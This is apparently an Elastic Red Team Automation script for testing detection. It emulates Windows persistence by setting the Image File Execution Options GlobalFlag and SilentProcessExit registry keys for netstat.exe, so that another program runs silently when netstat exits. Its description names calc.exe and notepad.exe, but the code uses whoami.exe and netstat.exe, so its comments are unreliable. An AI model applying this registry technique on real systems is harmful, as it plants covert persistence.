Ross Wolf
a0d3b4bd23
Co-Authored-By: Brent Murphy <56412096+bm11100@users.noreply.github.com> Co-Authored-By: Daniel Stepanic <57736958+dstepanic17@users.noreply.github.com> Co-Authored-By: David French <56409778+threat-punter@users.noreply.github.com> Co-Authored-By: Joe Desimone <56411054+joe-desimone@users.noreply.github.com> Co-Authored-By: Justin Ibarra <brokensound77@users.noreply.github.com>
31 lines
1.3 KiB
Python
31 lines
1.3 KiB
Python
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
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# or more contributor license agreements. Licensed under the Elastic License;
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# you may not use this file except in compliance with the Elastic License.
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# Name: Persistence using GlobalFlags
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# RTA: globalflags.py
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# ATT&CK: T1183
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# Description: Uses GlobalFlags option in Image File Execution Options to silently execute calc.exe after the monitored
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# process (notepad.exe) is closed.
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from . import common
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@common.requires_os(common.WINDOWS)
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def main():
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common.log("Setting up persistence using Globalflags")
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ifeo_subkey = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\netstat.exe"
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spe_subkey = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\netstat.exe"
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with common.temporary_reg(common.HKLM, ifeo_subkey, "GlobalFlag", 512, common.DWORD), \
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common.temporary_reg(common.HKLM, spe_subkey, "ReportingMode", 1, common.DWORD), \
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common.temporary_reg(common.HKLM, spe_subkey, "MonitorProcess", "C:\\Windows\\system32\\whoami.exe"):
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common.log("Opening and closing netstat")
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common.execute(["whoami"], shell=True)
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common.execute(['taskkill', '/F', '/IM', 'netstat.exe'])
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if __name__ == "__main__":
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exit(main())
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